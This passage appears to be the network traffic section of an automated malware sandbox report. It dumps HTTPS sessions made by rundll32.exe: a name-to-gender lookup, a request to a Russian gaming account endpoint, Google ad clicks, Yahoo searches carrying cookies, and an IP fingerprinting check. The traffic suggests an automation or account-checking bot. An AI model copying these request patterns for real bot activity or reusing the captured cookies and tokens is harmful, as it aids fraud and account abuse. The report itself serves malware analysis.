2023-12-10 16:48:55 UTC	7184	IN	Data Raw: 75 70 3e 20 72 65 73 65 72 76 65 73 20 74 68 65 20 72 69 67 68 74 20 74 6f 20 72 65 73 63 69 6e 64 2c 20 72 65 76 6f 6b 65 2c 20 6f 72 20 61 6d 65 6e 64 20 74 68 69 73 20 6f 66 66 65 72 20 77 69 74 68 6f 75 74 20 6e 6f 74 69 63 65 2e 20 3c 62 3e 39 2e 3c 2f 62 3e 20 4f 66 66 65 72 20 67 6f 6f 64 20 6f 6e 6c 79 20 69 6e 20 74 68 65 20 55 53 41 2c 20 69 6e 63 6c 75 64 69 6e 67 20 50 75 65 72 74 6f 20 52 69 63 6f 2c 20 61 74 20 70 61 72 74 69 63 69 70 61 74 69 6e 67 20 72 65 74 61 69 6c 20 6c 6f 63 61 74 69 6f 6e 73 2e 20 3c 62 3e 31 30 2e 3c 2f 62 3e 20 56 6f 69 64 20 77 68 65 72 65 20 70 72 6f 68 69 62 69 74 65 64 20 62 79 20 6c 61 77 2c 20 74 61 78 65 64 2c 20 6f 72 20 72 65 73 74 72 69 63 74 65 64 2e 20 3c 62 3e 31 31 2e 3c 2f 62 3e 20 4f 66 66 65 72 20 Data Ascii: up> reserves the right to rescind, revoke, or amend this offer without notice. <b>9.</b> Offer good only in the USA, including Puerto Rico, at participating retail locations. <b>10.</b> Void where prohibited by law, taxed, or restricted. <b>11.</b> Offer

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49796	165.227.126.8	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:54 UTC	66	OUT	GET /?name=Julie HTTP/1.1 Host: api.genderize.io Accept: /
2023-12-10 16:48:54 UTC	499	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 34 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6a 73 6f 6e 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 36 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 63 72 65 64 65 6e 74 69 61 6c 73 3a 20 74 72 75 65 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 61 6c 6c 6f 77 2d 6f 72 69 67 69 6e 3a 20 2a 0d 0a 61 63 63 65 73 73 2d 63 6f 6e 74 72 6f 6c 2d 65 78 70 6f 73 65 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.16.1Date: Sun, 10 Dec 2023 16:48:54 GMTContent-Type: application/json; charset=utf-8Content-Length: 67Connection: closeaccess-control-allow-credentials: trueaccess-control-allow-origin: *access-control-expose
2023-12-10 16:48:54 UTC	67	IN	Data Raw: 7b 22 63 6f 75 6e 74 22 3a 36 32 31 32 32 32 2c 22 6e 61 6d 65 22 3a 22 4a 75 6c 69 65 22 2c 22 67 65 6e 64 65 72 22 3a 22 66 65 6d 61 6c 65 22 2c 22 70 72 6f 62 61 62 69 6c 69 74 79 22 3a 31 2e 30 7d Data Ascii: {"count":621222,"name":"Julie","gender":"female","probability":1.0}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49791	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:54 UTC	468	OUT	GET /id/state.json/ HTTP/1.1 Host: lesta.ru Keep-Alive: 300 Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 YaBrowser/18.3.1.1232 Yowser/2.5 Safari/537.36 accept: application/json, text/javascript, /; q=0.01 accept-language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7 referer: https://eu.wargaming.net/id/signin/ x-requested-with: XMLHttpRequest Accept-Encoding: gzip, deflate
2023-12-10 16:48:56 UTC	2612	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 36 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6a 61 76 61 73 63 72 69 70 74 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 37 34 32 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 45 6e 63 6f 64 69 6e 67 0d 0a 58 2d 46 72 61 6d 65 2d 4f 70 74 69 6f 6e 73 3a 20 44 45 4e 59 0d 0a 56 61 72 79 3a 20 41 63 63 65 70 74 2d 4c 61 6e 67 75 61 67 65 Data Ascii: HTTP/1.1 200 OKServer: nginxDate: Sun, 10 Dec 2023 16:48:56 GMTContent-Type: application/x-javascript; charset=utf-8Content-Length: 1742Connection: closeVary: Accept-EncodingVary: Accept-EncodingX-Frame-Options: DENYVary: Accept-Language
2023-12-10 16:48:56 UTC	1742	IN	Data Raw: 7b 22 47 65 6e 65 72 61 6c 22 3a 20 7b 22 4c 61 6e 67 75 61 67 65 43 6f 64 65 22 3a 20 22 72 75 22 7d 2c 20 22 52 65 71 75 65 73 74 22 3a 20 7b 22 41 63 63 6f 75 6e 74 49 6e 66 6f 22 3a 20 7b 22 4c 6f 67 69 6e 22 3a 20 6e 75 6c 6c 2c 20 22 45 6d 61 69 6c 22 3a 20 6e 75 6c 6c 2c 20 22 49 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 42 61 6e 22 3a 20 6e 75 6c 6c 2c 20 22 54 65 6c 65 70 6f 72 74 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 2c 20 22 52 65 63 6f 76 65 72 79 52 65 71 75 69 72 65 64 22 3a 20 66 61 6c 73 65 7d 2c 20 22 48 61 73 53 74 61 66 66 49 70 22 3a 20 66 61 6c 73 65 2c 20 22 43 53 52 46 5f 54 4f 4b 45 4e 22 3a 20 22 75 46 36 32 31 46 31 54 46 58 4c 56 37 6b 75 61 6b 7a 70 78 4c 6e 73 70 5a 67 6f 69 68 38 73 Data Ascii: {"General": {"LanguageCode": "ru"}, "Request": {"AccountInfo": {"Login": null, "Email": null, "IsAuthenticated": false, "Ban": null, "TeleportRequired": false, "RecoveryRequired": false}, "HasStaffIp": false, "CSRF_TOKEN": "uF621F1TFXLV7kuakzpxLnspZgoih8s

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49800	142.250.217.196	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:58 UTC	714	OUT	GET /aclk?sa=l&ai=DChcSEwiOrbXzqIWDAxWHGaIDHcVgBq0YABACGgJsZQ&ae=2&gclid=EAIaIQobChMIjq2186iFgwMVhxmiAx3FYAatEAAYAyAAEgI3UvD_BwE&sig=AOD64_33JdWE39KHle-C0tq23pyDLE09pA&adurl=&q= HTTP/1.1 Host: www.google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36 Edg/108.0.1462.54 Accept-Encoding: gzip, deflate Cookie: AEC=Ackid1RaEnBZU8Puf8LxhPwF984o7wSrUFPE0sp8oNRbAgoRZ9E4vwrZdTg; NID=511=upr0-7dS1MUDhf2w8zGjxN_v0cC_k77MLSPS247f1W3AoK3GkG3VJVmmQkkVQaSiiXcOM4JJF24Pe6HkW-XoPMEC33Owu2G05WkVAC-XAQGletXI5JAVMM4P7QunK-JnJhvEujUT780I7vCDcz3ZJnuk7XToVPdotEWbQoM-FUI Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
2023-12-10 16:48:58 UTC	2500	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 33 30 32 20 46 6f 75 6e 64 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 38 20 47 4d 54 0d 0a 50 72 61 67 6d 61 3a 20 6e 6f 2d 63 61 63 68 65 0d 0a 45 78 70 69 72 65 73 3a 20 46 72 69 2c 20 30 31 20 4a 61 6e 20 31 39 39 30 20 30 30 3a 30 30 3a 30 30 20 47 4d 54 0d 0a 43 61 63 68 65 2d 43 6f 6e 74 72 6f 6c 3a 20 6e 6f 2d 63 61 63 68 65 2c 20 6d 75 73 74 2d 72 65 76 61 6c 69 64 61 74 65 0d 0a 41 63 63 65 70 74 2d 43 48 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 0d 0a 41 63 63 65 70 74 2d 43 48 3a 20 53 65 63 2d 43 48 2d 55 41 2d 50 6c 61 74 66 6f 72 6d 2d 56 65 72 73 69 6f 6e 0d 0a 41 63 63 65 70 74 2d 43 48 3a 20 53 65 63 2d 43 48 2d 55 41 2d 46 75 6c 6c 2d 56 65 Data Ascii: HTTP/1.1 302 FoundDate: Sun, 10 Dec 2023 16:48:58 GMTPragma: no-cacheExpires: Fri, 01 Jan 1990 00:00:00 GMTCache-Control: no-cache, must-revalidateAccept-CH: Sec-CH-UA-PlatformAccept-CH: Sec-CH-UA-Platform-VersionAccept-CH: Sec-CH-UA-Full-Ve

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49798	66.218.84.137	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:48:58 UTC	874	OUT	GET /search;_ylt=AwrFaJX263VlWeErinFXNyoA;_ylu=Y29sbwNiZjEEcG9zAzEEdnRpZAMEc2VjA3BhZ2luYXRpb24-?p=HSA+Administrator&pz=7&vc=us&fr=sfp&fr2=sb-top-us.search&bct=0&b=64&pz=7&bct=0&xargs=0 HTTP/1.1 Host: search.yahoo.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36 Accept-Encoding: gzip, deflate Cookie: A1=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A3=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; A1S=d=AQABBMbrdWUCEOK1YZ8MgzDMVf1_9ld4ETsFEgEBAQE9d2V_Zdww0iMA_eMAAA&S=AQAAAqi4o4EMAIJcK-FvkpMl1Yo; PROMO=ono_sc=3&ono_fts=1702226896&ltv_pid=sfp&ltv_new=1&ltv_ts=1702226896&ltv_sts=1702226934&ltv_c=9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
2023-12-10 16:48:59 UTC	2097	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 64 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 38 3a 35 38 20 47 4d 54 0d 0a 70 33 70 3a 20 70 6f 6c 69 63 79 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 6f 6c 69 63 69 65 73 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 77 33 63 2f 70 33 70 2e 78 6d 6c 22 2c 20 43 50 3d 22 43 41 4f 20 44 53 50 20 43 4f 52 20 43 55 52 20 41 44 4d 20 44 45 56 20 54 41 49 20 50 53 41 20 50 53 44 20 49 56 41 69 20 49 56 44 69 20 43 4f 4e 69 20 54 45 4c 6f 20 4f 54 50 69 20 4f 55 52 20 44 45 4c 69 20 53 41 4d 69 20 4f 54 52 69 20 55 4e 52 69 20 50 55 42 69 20 49 4e 44 20 50 48 59 20 4f 4e 4c 20 55 4e 49 20 50 55 52 20 46 49 4e 20 43 4f 4d 20 4e 41 56 20 49 4e 54 20 44 45 4d 20 43 4e 54 20 53 54 41 20 50 4f Data Ascii: HTTP/1.1 200 OKdate: Sun, 10 Dec 2023 16:48:58 GMTp3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA PO
2023-12-10 16:48:59 UTC	6245	IN	Data Raw: 32 64 65 64 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 69 64 3d 22 61 74 6f 6d 69 63 22 20 63 6c 61 73 73 3d 22 4e 6f 4a 73 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 64 6e 73 2d 70 72 65 66 65 74 63 68 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 6e 22 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 61 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 37 36 78 37 36 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d Data Ascii: 2ded<!doctype html><html id="atomic" class="NoJs" lang="en-US"><head><meta http-equiv="x-dns-prefetch-control" content="on"><meta http-equiv="content-type" content="text/html; charset=UTF-8"><link rel="apple-touch-icon" sizes="76x76" href="https://s.yim
2023-12-10 16:48:59 UTC	16384	IN	Data Raw: 4c 69 73 74 2e 72 65 6d 6f 76 65 28 6e 29 3a 65 26 26 65 2e 63 6c 61 73 73 4e 61 6d 65 26 26 28 74 3d 6e 65 77 20 52 65 67 45 78 70 28 22 28 3f 3a 5e 7c 5c 5c 73 2b 29 22 2b 6d 28 6e 29 2b 22 28 3f 3a 5c 5c 73 2b 7c 24 29 22 29 2c 65 2e 63 6c 61 73 73 4e 61 6d 65 3d 66 28 65 2e 63 6c 61 73 73 4e 61 6d 65 2e 72 65 70 6c 61 63 65 28 74 2c 22 20 22 29 29 29 7d 2c 74 26 26 74 2e 66 6f 72 45 61 63 68 3f 74 2e 66 6f 72 45 61 63 68 28 65 29 3a 65 28 74 29 29 7d 2c 61 64 64 43 6c 61 73 73 3a 66 75 6e 63 74 69 6f 6e 20 79 28 74 2c 6e 29 7b 76 61 72 20 65 3b 30 3c 6e 2e 69 6e 64 65 78 4f 66 28 22 20 22 29 3f 6e 2e 73 70 6c 69 74 28 22 20 22 29 2e 66 6f 72 45 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 79 28 74 2c 65 29 7d 29 3a 28 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: List.remove(n):e&&e.className&&(t=new RegExp("(?:^\|\\s+)"+m(n)+"(?:\\s+\|$)"),e.className=f(e.className.replace(t," ")))},t&&t.forEach?t.forEach(e):e(t))},addClass:function y(t,n){var e;0<n.indexOf(" ")?n.split(" ").forEach(function(e){y(t,e)}):(e=function
2023-12-10 16:48:59 UTC	16384	IN	Data Raw: 61 67 26 26 28 28 69 3d 6f 28 7b 63 73 73 3a 22 73 61 2d 61 6e 6e 6f 74 2d 66 6c 61 67 22 7d 2c 22 69 6d 67 22 29 29 2e 6f 6e 65 72 72 6f 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 7d 2c 69 2e 73 72 63 3d 70 2e 66 6c 61 67 2c 63 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 69 29 29 2c 73 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 63 29 29 2c 6c 2e 6d 61 72 6b 65 72 73 29 29 26 26 6f 5b 22 6d 22 2b 74 5d 2c 30 3d 3d 65 2e 69 64 78 26 26 72 26 26 72 2e 74 79 70 65 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 62 69 6c 6c 62 6f 61 72 64 20 22 2b 72 2e 74 79 70 65 29 2c 6c 2e 72 69 63 68 43 6c 61 73 73 26 26 28 6e 7c 7c 61 29 26 26 28 73 2e 63 6c 61 73 73 4e 61 6d 65 2b 3d 22 20 22 2b 6c 2e 72 69 Data Ascii: ag&&((i=o({css:"sa-annot-flag"},"img")).onerror=function(e){i.style.display="none"},i.src=p.flag,c.appendChild(i)),s.appendChild(c)),l.markers))&&o["m"+t],0==e.idx&&r&&r.type&&(s.className+=" billboard "+r.type),l.richClass&&(n\|\|a)&&(s.className+=" "+l.ri
2023-12-10 16:48:59 UTC	16384	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 42 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 6c 6f 67 3a 7b 5f 72 3a 32 2c 61 63 74 6e 3a 22 63 6c 6b 22 2c 70 6f 73 3a 31 2c 73 65 63 3a 22 73 65 61 72 63 68 22 2c 73 6c 6b 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 2c 74 31 3a 22 68 64 72 22 2c 74 32 3a 22 73 65 61 72 63 68 22 2c 74 33 3a 22 63 6c 65 61 72 22 2c 74 34 3a 22 63 6c 65 61 72 73 65 61 72 63 68 22 7d 7d 7d 66 75 6e 63 74 69 6f 6e 20 4d 74 28 29 7b 74 68 69 73 2e 63 6f 6e 66 69 67 3d 7b 63 73 73 3a 7b 6e 61 6d 65 73 70 61 63 65 3a 22 73 61 2d 66 65 65 64 62 61 63 6b 22 7d 2c 74 65 78 74 3a 7b 72 65 70 6f 72 74 3a 22 52 65 70 6f 72 74 20 69 6e 61 70 70 72 6f 70 72 69 61 74 65 20 70 72 65 64 69 63 74 69 6f 6e 73 22 2c 77 68 69 63 68 3a 22 57 68 69 63 68 20 70 72 Data Ascii: unction Bt(){this.config={log:{_r:2,actn:"clk",pos:1,sec:"search",slk:"clearsearch",t1:"hdr",t2:"search",t3:"clear",t4:"clearsearch"}}}function Mt(){this.config={css:{namespace:"sa-feedback"},text:{report:"Report inappropriate predictions",which:"Which pr
2023-12-10 16:48:59 UTC	16384	IN	Data Raw: 74 65 63 68 61 6e 67 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 2e 72 65 61 64 79 53 74 61 74 65 3d 3d 3d 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 2e 44 4f 4e 45 26 26 28 65 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 2c 65 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 29 7d 2c 6f 2e 73 65 6e 64 28 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 7d 2c 73 68 6f 77 50 61 6e 65 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 72 65 70 6f 72 74 50 61 6e 65 6c 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 73 2e 6d 61 69 6e 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 74 68 69 73 2e 74 68 61 6e 6b 2e 73 74 79 6c 65 2e 64 Data Ascii: techange=function(){o.readyState===XMLHttpRequest.DONE&&(e.main.style.display="none",e.thank.style.display="block")},o.send(JSON.stringify(t))}},showPanel:function(){this.reportPanel.style.display="block",this.main.style.display="block",this.thank.style.d
2023-12-10 16:48:59 UTC	9818	IN	Data Raw: 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 2c 2e 73 70 63 68 63 20 2e 73 70 65 61 6b 69 6e 67 20 2e 6d 69 63 72 6f 70 68 6f 6e 65 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 70 76 2f 73 74 61 74 69 63 2f 69 6d 67 2f 76 6f 69 63 65 53 65 61 72 63 68 31 78 2d 31 36 32 30 33 38 33 35 33 31 35 36 35 2e 6d 69 6e 2e 70 6e 67 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 69 6e 69 74 69 61 6c 3b 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 6c 2d 72 61 74 Data Ascii: .microphone,.spchc .speaking .microphone{background-image:url(https://s.yimg.com/pv/static/img/voiceSearch1x-1620383531565.min.png);background-repeat:no-repeat;background-size:initial;color:transparent}@media only screen and (-webkit-min-device-pixel-rat
2023-12-10 16:48:59 UTC	1449	IN	Data Raw: 35 61 32 0d 0a 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 73 2e 79 69 6d 67 2e 63 6f 6d 2f 6f 61 2f 63 6f 6e 73 65 6e 74 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 27 66 32 79 31 6d 4b 53 55 42 6f 48 41 54 34 65 67 6c 2f 63 38 76 41 3d 3d 27 3e 21 66 75 6e 63 74 69 6f 6e 28 6e 2c 63 29 7b 6e 2e 63 6d 70 4a 53 49 6e 69 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 2c 65 3b 6e 2e 63 6d 70 4a 53 49 6e 69 74 44 6f 6e 65 7c 7c 28 74 3d 63 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 28 65 3d 63 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 Data Ascii: 5a2<script async src="https://s.yimg.com/oa/consent.js"></script><script type="text/javascript" nonce='f2y1mKSUBoHAT4egl/c8vA=='>!function(n,c){n.cmpJSInit=function(){var t,e;n.cmpJSInitDone\|\|(t=c.getElementsByTagName("head")[0],(e=c.createElement("scri
2023-12-10 16:48:59 UTC	6621	IN	Data Raw: 31 39 64 35 0d 0a 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 72 3d 66 2e 68 65 61 64 7c 7c 66 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 22 68 65 61 64 22 29 5b 30 5d 2c 6e 3d 22 41 48 43 42 22 2b 20 2b 2b 6c 2e 63 62 43 6f 75 6e 74 65 72 2c 61 3d 66 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 61 2e 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3b 76 61 72 20 6f 3d 6e 65 77 20 55 52 4c 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 2b 69 29 3b 6f 2e 73 65 61 72 63 68 50 61 72 61 6d 73 2e 73 65 74 28 22 63 61 6c 6c 62 61 63 6b 22 2c 22 59 41 48 4f 4f 2e 41 6a 61 78 48 65 6c 70 65 72 2e 63 62 2e 22 2b 6e 29 2c 61 2e 73 72 63 3d 6f 2e 70 61 74 68 6e 61 6d 65 Data Ascii: 19d5nction(t,e){var r=f.head\|\|f.getElementsByTagName("head")[0],n="AHCB"+ ++l.cbCounter,a=f.createElement("script");a.type="text/javascript";var o=new URL(window.location.origin+i);o.searchParams.set("callback","YAHOO.AjaxHelper.cb."+n),a.src=o.pathname
2023-12-10 16:48:59 UTC	1449	IN	Data Raw: 35 61 32 0d 0a 3c 6c 69 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 72 2e 73 65 61 72 63 68 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 5f 79 6c 74 3d 41 77 72 69 67 66 58 36 36 33 56 6c 4b 4d 45 72 62 6c 64 58 4e 79 6f 41 2f 52 56 3d 32 2f 52 45 3d 31 37 30 32 32 35 35 37 33 39 2f 52 4f 3d 31 30 2f 52 55 3d 68 74 74 70 73 25 33 61 25 32 66 25 32 66 73 70 6f 72 74 73 2e 79 61 68 6f 6f 2e 63 6f 6d 25 32 66 66 61 6e 74 61 73 79 25 32 66 2f 52 4b 3d 32 2f 52 53 3d 55 4a 4a 41 7a 75 6b 4f 61 67 56 72 75 33 31 53 4e 71 49 4c 42 54 32 5f 57 50 59 2d 22 20 63 6c 61 73 73 3d 22 61 70 70 2d 69 74 65 6d 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 2d 77 22 3e 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 75 68 61 2d 69 63 6f 20 75 68 61 2d 66 61 6e 74 61 73 79 22 Data Ascii: 5a2<li><a href="https://r.search.yahoo.com/_ylt=AwrigfX663VlKMErbldXNyoA/RV=2/RE=1702255739/RO=10/RU=https%3a%2f%2fsports.yahoo.com%2ffantasy%2f/RK=2/RS=UJJAzukOagVru31SNqILBT2_WPY-" class="app-item"><span class="ico-w"><span class="uha-ico uha-fantasy"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49807	162.19.169.11	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-10 16:49:02 UTC	67	OUT	GET /ip HTTP/1.1 Host: fingerprints.bablosoft.com Accept: /
2023-12-10 16:49:03 UTC	566	IN	Data Raw: 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d 0a 53 65 72 76 65 72 3a 20 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 0d 0a 44 61 74 65 3a 20 53 75 6e 2c 20 31 30 20 44 65 63 20 32 30 32 33 20 31 36 3a 34 39 3a 30 33 20 47 4d 54 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 31 35 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 58 2d 50 6f 77 65 72 65 64 2d 42 79 3a 20 45 78 70 72 65 73 73 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4f 72 69 67 69 6e 3a 20 2a 0d 0a 41 63 63 65 73 73 2d 43 6f 6e 74 72 6f 6c 2d 41 6c 6c 6f 77 2d 4d 65 74 68 6f 64 73 3a 20 47 45 54 2c 20 50 4f 53 54 2c 20 50 55 54 2c 20 44 45 4c 45 54 45 2c 20 50 41 54 43 48 2c 20 4f 50 54 49 4f 4e 53 0d 0a 41 63 63 65 73 73 Data Ascii: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 10 Dec 2023 16:49:03 GMTContent-Length: 15Connection: closeX-Powered-By: ExpressAccess-Control-Allow-Origin: *Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONSAccess
2023-12-10 16:49:03 UTC	15	IN	Data Raw: 31 30 32 2e 31 32 39 2e 31 35 32 2e 32 31 32 Data Ascii: 102.129.152.212

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49802	95.181.181.87	443	5584	C:\Windows\SysWOW64\rundll32.exe

Timestamp	Bytes transferred	Direction	Data
